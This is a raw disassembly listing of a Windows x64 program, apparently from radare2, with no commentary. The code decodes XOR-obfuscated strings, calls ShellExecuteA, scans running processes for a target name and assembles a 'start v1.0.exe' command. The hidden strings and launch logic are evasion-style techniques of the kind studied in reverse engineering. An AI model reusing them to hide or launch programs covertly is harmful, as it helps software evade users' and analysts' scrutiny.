jl 0x140006160
lea rdx, [rsp + 0x68]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140009a00
lea rdx, [0x140009bd0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
call qword [sym.imp.MSVCP140.dll__Query_perf_frequency]
mov rdi, rax
call qword [sym.imp.MSVCP140.dll__Query_perf_counter]
mov rcx, rax
cmp rdi, 0x989680
jne 0x1400061cf
imul rax, rcx, 0x64
jmp 0x140006248
cmp rdi, 0x16e3600
jne 0x14000622d
movabs r8, 0xb2f4fc0794908cf3
mov rax, r8
imul rcx
add rdx, rcx
sar rdx, 0x18
mov rax, rdx
shr rax, 0x3f
add rdx, rax
imul rdi, rdx, 0x3b9aca00
imul rax, rdx, 0x16e3600
sub rcx, rax
imul rcx, rcx, 0x3b9aca00
mov rax, r8
imul rcx
add rdx, rcx
sar rdx, 0x18
mov rax, rdx
shr rax, 0x3f
add rax, rdx
add rax, rdi
jmp 0x140006248
cqo
idiv rdi
imul rcx, rax, 0x3b9aca00
imul rax, rdx, 0x3b9aca00
cqo
idiv rdi
add rax, rcx
movabs rcx, 0x7ffffffffa0a1eff
cmp rax, rcx
jge 0x14000625f
add rax, 0x5f5e100
jmp 0x140006269
movabs rax, 0x7fffffffffffffff
mov qword [rsp + 0x40], rax
lea rcx, [rsp + 0x40]
call fcn.14000abe0
lea rax, [rsp + 0x68]
mov qword [rbp - 0x20], rax
lea rdx, [rbp + 0x50]
lea rcx, [rsp + 0x68]
call fcn.140008d00
mov rdi, rax
mov qword [rbp - 0x70], rax
xorps xmm0, xmm0
movups xmmword [rsp + 0x48], xmm0
mov qword [rsp + 0x58], rsi
mov qword [rsp + 0x60], 7
mov word [rsp + 0x48], si
bts r14d, 0x10
mov dword [rsp + 0x40], r14d
mov edx, 0x105
mov r9d, edx
lea rcx, [rsp + 0x48]
call fcn.140009f70
lea rcx, [rsp + 0x48]
cmp qword [rsp + 0x60], 7
cmova rcx, qword [rsp + 0x48]
call fcn.14000b5a4
mov qword [rbp - 0x10], rax
mov ecx, eax
mov r8, qword [rsp + 0x58]
cmp rcx, r8
ja 0x14000630f
lea rax, [rsp + 0x48]
cmp qword [rsp + 0x60], 7
cmova rax, qword [rsp + 0x48]
mov qword [rsp + 0x58], rcx
mov word [rax + rcx*2], si
jmp 0x140006367
mov rdx, rcx
sub rdx, r8
mov rdi, qword [rsp + 0x60]
mov rax, rdi
sub rax, r8
cmp rdx, rax
ja 0x140006356
mov qword [rsp + 0x58], rcx
lea r9, [rsp + 0x48]
cmp rdi, 7
cmova r9, qword [rsp + 0x48]
lea rdi, [r9 + r8*2]
test rdx, rdx
je 0x14000634b
movzx eax, si
mov rcx, rdx
rep stosw word [rdi], ax
lea rax, [rdx + r8]
mov word [r9 + rax*2], si
jmp 0x140006363
mov r9, rdx
lea rcx, [rsp + 0x48]
call fcn.140009f70
mov rdi, qword [rbp - 0x70]
mov eax, dword [rbp - 0xc]
cmp eax, 0xffffffff
jne 0x140006380
mov dword [rbp - 0x10], r13d
lea rax, [0x140013080]
mov qword [rbp - 8], rax
jmp 0x140006391
mov dword [rbp - 0x10], eax
lea rcx, [0x140013070]
mov qword [rbp - 8], rcx
mov r13d, eax
movaps xmm0, xmmword [rbp - 0x10]
movdqa xmmword [rbp - 0x10], xmm0
btr r14d, 0x10
bts r14d, 0xf
mov dword [rsp + 0x40], r14d
test r13d, r13d
jne 0x1400076b0
lea rdx, [rbp - 0x68]
lea rcx, [rsp + 0x48]
call fcn.140009670
bts r14d, 0x11
mov dword [rsp + 0x40], r14d
mov rdx, rdi
lea rcx, [rbp - 0x68]
call fcn.140002ec0
nop
mov rdx, qword [rsp + 0x60]
cmp rdx, 7
jbe 0x14000641c
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x48]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140006417
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140006417
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000ba4c
mov r8, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
movups xmm0, xmmword [0x14000daa0]
movups xmmword [rsp + 0x68], xmm0
movups xmm1, xmmword [0x14000dab0]
movups xmmword [rsp + 0x78], xmm1
movzx eax, word [0x14000dac0]
mov word [rbp - 0x78], ax
movzx eax, byte [0x14000dac2]
mov byte [rbp - 0x76], al
mov ecx, esi
cmp dword [0x140013050], 2
jl 0x140006598
movdqa xmm5, xmmword [0x14000de70]
movdqa xmm4, xmmword [0x14000dec0]
movdqa xmm6, xmmword [0x14000de90]
movdqa xmm0, xmmword [str.0000000000000000_t]
movdqa xmmword [rbp - 0x20], xmm0
lea rdx, [rsp + 0x6c]
mov edi, dword [rbp - 0x20]
nop dword [rax]
movd xmm2, ecx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14000dea0]
packuswb xmm2, xmm2
movd xmm0, edi
paddb xmm2, xmm0
movd xmm0, dword [rdx - 4]
xorps xmm2, xmm0
movd dword [rdx - 4], xmm2
lea eax, [rcx + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14000dea0]
packuswb xmm2, xmm2
movd xmm0, edi
paddb xmm2, xmm0
movd xmm0, dword [rdx]
xorps xmm2, xmm0
movd dword [rdx], xmm2
add ecx, 8
lea rdx, [rdx + 8]
cmp ecx, 0x20
jl 0x140006490
cmp ecx, 0x23
jge 0x1400065dd
movsxd rax, ecx
lea rdi, [rsp + 0x68]
add rdi, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x8d3dcb09
imul ecx
add edx, ecx
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul edx, eax, 0x3a
movzx eax, cl
sub al, dl
add al, 0x30
xor byte [rdi], al
inc ecx
lea rdi, [rdi + 1]
cmp ecx, 0x23
jl 0x1400065b0
lea rdx, [rsp + 0x68]
mov rcx, r8
call fcn.140009a00
lea rdx, [0x140009bd0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov eax, dword [str._AW_4]
mov dword [rsp + 0x40], eax
movzx eax, byte [0x14000da8c]
mov byte [rsp + 0x40], 0x6f
xor byte [rsp + 0x41], 0x31
xor byte [rsp + 0x42], 0x32
xor byte [rsp + 0x43], 0x33
xor al, 0x34
mov byte [rsp + 0x44], al
mov dword [rsp + 0x28], esi
mov qword [rsp + 0x20], rsi
xor r9d, r9d
mov r8, r15
lea rdx, [rsp + 0x40]
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
call qword [sym.imp.MSVCP140.dll__Query_perf_frequency]
mov rdi, rax
call qword [sym.imp.MSVCP140.dll__Query_perf_counter]
mov rcx, rax
cmp rdi, 0x989680
jne 0x140006662
imul rax, rcx, 0x64
jmp 0x1400066db
cmp rdi, 0x16e3600
jne 0x1400066c0
movabs r8, 0xb2f4fc0794908cf3
mov rax, r8
imul rcx
add rdx, rcx
sar rdx, 0x18
mov rax, rdx
shr rax, 0x3f
add rdx, rax
imul rdi, rdx, 0x3b9aca00
imul rax, rdx, 0x16e3600
sub rcx, rax
imul rcx, rcx, 0x3b9aca00
mov rax, r8
imul rcx
add rdx, rcx
sar rdx, 0x18
mov rax, rdx
shr rax, 0x3f
add rax, rdx
add rax, rdi
jmp 0x1400066db
cqo
idiv rdi
imul rcx, rax, 0x3b9aca00
imul rax, rdx, 0x3b9aca00
cqo
idiv rdi
add rax, rcx
movabs rcx, 0x7fffffffc46535ff
cmp rax, rcx
jge 0x1400066f2
add rax, 0x3b9aca00
jmp 0x1400066fc
movabs rax, 0x7fffffffffffffff
mov qword [rbp - 0x70], rax
lea rcx, [rbp - 0x70]
call fcn.14000abe0
lea rdx, [rbp + 0x50]
cmp qword [rbp + 0x68], 0xf
cmova rdx, qword [rbp + 0x50]
mov r13, qword [rbp + 0x60]
add r13, rdx
lea r14, [rbp + 0x50]
cmp qword [rbp + 0x68], 0xf
cmova r14, qword [rbp + 0x50]
xorps xmm0, xmm0
movups xmmword [rbp + 0x10], xmm0
mov qword [rbp + 0x28], 7
cmp r14, r13
jne 0x14000674d
mov qword [rbp + 0x20], rsi
mov word [rbp + 0x10], si
jmp 0x140006846
mov rax, r13
sub rax, r14
mov rdx, rsi
mov qword [rbp + 0x20], rdx
movabs rdi, 0x7ffffffffffffffe
cmp rax, rdi
ja 0x1400076c6
cmp rax, 7
jbe 0x140006810
or rax, 7
cmp rax, rdi
jbe 0x140006790
movabs rax, 0x7fffffffffffffff
lea rcx, [rax + rax]
jmp 0x1400067c2
mov rdi, rax
mov ecx, 0xa
cmp rax, rcx
cmovb rdi, rcx
lea rcx, [rdi + 1]
movabs rax, 0x7fffffffffffffff
cmp rcx, rax
ja 0x140007680
add rcx, rcx
cmp rcx, 0x1000
jb 0x1400067f5
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x140007680
mov rcx, rax
call fcn.14000ba10
mov rcx, rax
test rax, rax
je 0x140006b76
add rax, 0x27
and rax, 0xffffffffffffffe0
mov qword [rax - 8], rcx
mov rdx, qword [rbp + 0x20]
jmp 0x140006808
test rcx, rcx
je 0x140006805
call fcn.14000ba10
mov rdx, qword [rbp + 0x20]
jmp 0x140006808
mov rax, rsi
mov qword [rbp + 0x10], rax
mov qword [rbp + 0x28], rdi
lea rcx, [rbp + 0x10]
call fcn.140009200
movsx ecx, byte [r14]
mov word [rax + rdx*2], cx
mov rdx, qword [rbp + 0x20]
inc rdx
mov qword [rbp + 0x20], rdx
inc r14
cmp r14, r13
jne 0x140006810
lea rax, [rbp + 0x10]
cmp qword [rbp + 0x28], 7
cmova rax, qword [rbp + 0x10]
mov word [rax + rdx*2], si
nop word [rax + rax]
lea r14, [rbp + 0x10]
cmp qword [rbp + 0x28], 7
cmova r14, qword [rbp + 0x10]
xor edx, edx
lea ecx, [rdx + 2]
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov rdi, rax
mov dword [rbp + 0x90], 0x238
lea rdx, [rbp + 0x90]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_Process32FirstW]
test eax, eax
je 0x1400068bc
nop word [rax + rax]
mov rdx, r14
lea rcx, [rbp + 0xbc]
call qword [sym.imp.KERNEL32.dll_lstrcmpiW]
test eax, eax
je 0x140006952
lea rdx, [rbp + 0x90]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_Process32NextW]
test eax, eax
jne 0x140006890
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
inc r12
cmp byte [r15 + r12], 0
jne 0x1400068c5
call fcn.14000afe0
mov qword [rbp - 0x20], r15
mov qword [rbp - 0x18], r12
lea r8, [rbp - 0x20]
mov edx, eax
lea rcx, [rsp + 0x48]
call fcn.1400019f0
nop
lea rcx, [rsp + 0x48]
cmp qword [rsp + 0x60], 7
cmova rcx, qword [rsp + 0x48]
call fcn.14000b6a0
mov rdx, rax
shr rax, 0x20
test eax, eax
jne 0x1400076cc
mov rdx, qword [rsp + 0x60]
cmp rdx, 7
jbe 0x140006965
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x48]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140006960
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140006960
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
test rdi, rdi
jne 0x140006850
jmp 0x1400068c5
call fcn.14000ba4c
movups xmm0, xmmword [str.cEWRXPD]
movups xmmword [rsp + 0x68], xmm0
movups xmm1, xmmword [0x14000d940]
movups xmmword [rsp + 0x78], xmm1
mov eax, dword [0x14000d950]
mov dword [rbp - 0x78], eax
mov ecx, esi
mov r15d, dword [0x140013050]
cmp r15d, 2
jl 0x140006ad8
movdqa xmm5, xmmword [0x14000de70]
movdqa xmm4, xmmword [0x14000dec0]
movdqa xmm6, xmmword [0x14000de90]
movdqa xmm0, xmmword [str.0000000000000000_t]
movdqa xmmword [rbp - 0x20], xmm0
lea rdx, [rsp + 0x6c]
mov edi, dword [rbp - 0x20]
nop word [rax + rax]
movd xmm2, ecx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14000dea0]
packuswb xmm2, xmm2
movd xmm0, edi
paddb xmm2, xmm0
movd xmm0, dword [rdx - 4]
xorps xmm2, xmm0
movd dword [rdx - 4], xmm2
lea eax, [rcx + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14000dea0]
packuswb xmm2, xmm2
movd xmm0, edi
paddb xmm2, xmm0
movd xmm0, dword [rdx]
xorps xmm2, xmm0
movd dword [rdx], xmm2
add ecx, 8
lea rdx, [rdx + 8]
cmp ecx, 0x20
jl 0x1400069d0
cmp ecx, 0x24
jge 0x140006b1d
movsxd rax, ecx
lea rdi, [rsp + 0x68]
add rdi, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x8d3dcb09
imul ecx
add edx, ecx
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul edx, eax, 0x3a
movzx eax, cl
sub al, dl
add al, 0x30
xor byte [rdi], al
inc ecx
lea rdi, [rdi + 1]
cmp ecx, 0x24
jl 0x140006af0
lea rdx, [rsp + 0x68]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140009a00
lea rdx, [0x140009bd0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
nop
mov rdx, qword [rbp + 0x28]
cmp rdx, 7
jbe 0x140006b82
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x10]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140006b7d
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140006b7d
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000ba4c
mov qword [rbp + 0x20], rsi
mov qword [rbp + 0x28], 7
mov word [rbp + 0x10], si
mov rdx, qword [rbp + 0x48]
cmp rdx, 0xf
jbe 0x140006bd0
inc rdx
mov rcx, qword [rbp + 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140006bcb
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140006bcb
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000ba4c
movdqa xmm0, xmmword [0x14000de60]
movdqu xmmword [rbp + 0x40], xmm0
mov byte [rbp + 0x30], 0
mov rdx, qword [rbp + 0x68]
cmp rdx, 0xf
jbe 0x140006c1f
inc rdx
mov rcx, qword [rbp + 0x50]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140006c1a
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140006c1a
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000ba4c
movsd xmm0, qword [0x14000d9f0]
movzx eax, byte [0x14000d9f8]
movsd qword [rbp - 0x20], xmm0
mov byte [rbp - 0x20], 0x76
xor byte [rbp - 0x1f], 0x31
xor byte [rbp - 0x1e], 0x32
xor byte [rbp - 0x1d], 0x33
xor byte [rbp - 0x1c], 0x34
xor byte [rbp - 0x1b], 0x35
xor byte [rbp - 0x1a], 0x36
xor byte [rbp - 0x19], 0x37
xor al, 0x38
mov byte [rbp - 0x18], al
xorps xmm0, xmm0
movups xmmword [rbp + 0x30], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x40], xmm1
mov r8d, 1
lea rdx, [0x14000d8e0]
lea rcx, [rbp + 0x30]
call fcn.140009e70
nop
lea r8, [rbp + 0x70]
cmp qword [rbp + 0x88], 0xf
cmova r8, qword [rbp + 0x70]
mov r9, qword [rbp + 0x80]
lea rcx, [rbp + 0x30]
call fcn.140009210
xorps xmm0, xmm0
movups xmmword [rbp + 0x10], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x20], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x10], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x20], xmm1
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
lea rdx, [rbp - 0x20]
lea rcx, [rbp + 0x10]
call fcn.140008b30
xorps xmm0, xmm0
movups xmmword [rsp + 0x48], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x58], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x48], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rsp + 0x58], xmm1
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
lea r14, [rsp + 0x48]
mov rcx, qword [rsp + 0x48]
mov rdx, qword [rsp + 0x60]
cmp rdx, 0xf
cmova r14, rcx
jbe 0x140006d53
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x140006d4e
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140006d4e
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000ba4c
movdqa xmm0, xmmword [0x14000de60]
movdqu xmmword [rsp + 0x58], xmm0
mov byte [rsp + 0x48], 0
mov rdx, qword [rbp + 0x28]
cmp rdx, 0xf
jbe 0x140006da4
inc rdx
mov rcx, qword [rbp + 0x10]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140006d9f
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140006d9f
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000ba4c
movdqa xmm0, xmmword [0x14000de60]
movdqu xmmword [rbp + 0x20], xmm0
mov byte [rbp + 0x10], 0
mov rdx, qword [rbp + 0x48]
cmp rdx, 0xf
jbe 0x140006df3
inc rdx
mov rcx, qword [rbp + 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140006dee
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140006dee
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000ba4c
movdqa xmm0, xmmword [0x14000de60]
movdqu xmmword [rbp + 0x40], xmm0
mov byte [rbp + 0x30], 0
movups xmm0, xmmword [0x14000db20]
movups xmmword [rsp + 0x68], xmm0
movups xmm1, xmmword [0x14000db30]
movups xmmword [rsp + 0x78], xmm1
mov eax, dword [0x14000db40]
mov dword [rbp - 0x78], eax
mov edi, esi
cmp r15d, 2
jl 0x140006f68
movdqa xmm5, xmmword [0x14000de70]
movdqa xmm4, xmmword [0x14000dec0]
movdqa xmm6, xmmword [0x14000de90]
movdqa xmm0, xmmword [str.0000000000000000_t]
movdqa xmmword [rbp - 0x20], xmm0
lea rcx, [rsp + 0x6c]
mov edx, dword [rbp - 0x20]
nop
movd xmm2, edi
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14000dea0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [rdi + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14000dea0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add edi, 8
lea rcx, [rcx + 8]
cmp edi, 0x20
jl 0x140006e60
cmp edi, 0x24
jge 0x140006faf
movsxd rax, edi
lea r8, [rsp + 0x68]
add r8, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x8d3dcb09
imul edi
add edx, edi
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x3a
movzx eax, dil
sub al, cl
add al, 0x30
xor byte [r8], al
inc edi
lea r8, [r8 + 1]
cmp edi, 0x24
jl 0x140006f80
mov rdx, r14
lea rcx, [rsp + 0x68]
call fcn.140004c40
movups xmm0, xmmword [str.tV]
movups xmmword [rsp + 0x68], xmm0
movups xmm1, xmmword [0x14000de08]
movups xmmword [rsp + 0x78], xmm1
mov eax, dword [0x14000de18]
mov dword [rbp - 0x78], eax
movzx eax, word [0x14000de1c]
mov word [rbp - 0x74], ax
movzx eax, byte [0x14000de1e]
mov byte [rbp - 0x72], al
mov ecx, esi
cmp r15d, 2
jl 0x140007138
movdqa xmm5, xmmword [0x14000de70]
movdqa xmm4, xmmword [0x14000dec0]
movdqa xmm6, xmmword [0x14000de90]
movdqa xmm0, xmmword [str.0000000000000000_t]
movdqa xmmword [rbp - 0x20], xmm0
lea rdx, [rsp + 0x6c]
mov edi, dword [rbp - 0x20]
nop dword [rax + rax]
movd xmm2, ecx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14000dea0]
packuswb xmm2, xmm2
movd xmm0, edi
paddb xmm2, xmm0
movd xmm0, dword [rdx - 4]
xorps xmm2, xmm0
movd dword [rdx - 4], xmm2
lea eax, [rcx + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14000dea0]
packuswb xmm2, xmm2
movd xmm0, edi
paddb xmm2, xmm0
movd xmm0, dword [rdx]
xorps xmm2, xmm0
movd dword [rdx], xmm2
add ecx, 8
lea rdx, [rdx + 8]
cmp ecx, 0x20
jl 0x140007030
cmp ecx, 0x27
jge 0x14000717d
movsxd rax, ecx
lea rdi, [rsp + 0x68]
add rdi, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x8d3dcb09
imul ecx
add edx, ecx
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul edx, eax, 0x3a
movzx eax, cl
sub al, dl
add al, 0x30
xor byte [rdi], al
inc ecx
lea rdi, [rdi + 1]
cmp ecx, 0x27
jl 0x140007150
lea rdx, [rsp + 0x68]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140009a00
lea rdx, [0x140009bd0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
xorps xmm0, xmm0
movups xmmword [rsp + 0x48], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x58], xmm1
mov r8d, 6
lea rdx, str.start
lea rcx, [rsp + 0x48]
call fcn.140009e70
nop
mov rcx, qword [rsp + 0x58]
mov rdx, qword [rsp + 0x60]
mov rax, rdx
sub rax, rcx
cmp rax, 8
jb 0x14000720f
lea rax, [rcx + 8]
mov qword [rsp + 0x58], rax
lea rax, [rsp + 0x48]
cmp rdx, 0xf
cmova rax, qword [rsp + 0x48]
movabs rdx, 0x6578652e302e3176
mov qword [rax + rcx], rdx
mov byte [rax + rcx + 8], 0
lea rax, [rsp + 0x48]
jmp 0x14000722e
mov qword [rsp + 0x20], 8
lea r9, str.v1.0.exe
mov edx, 8
lea rcx, [rsp + 0x48]
call fcn.14000a5b0
xorps xmm0, xmm0
movups xmmword [rbp + 0x10], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x20], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x10], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x20], xmm1
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
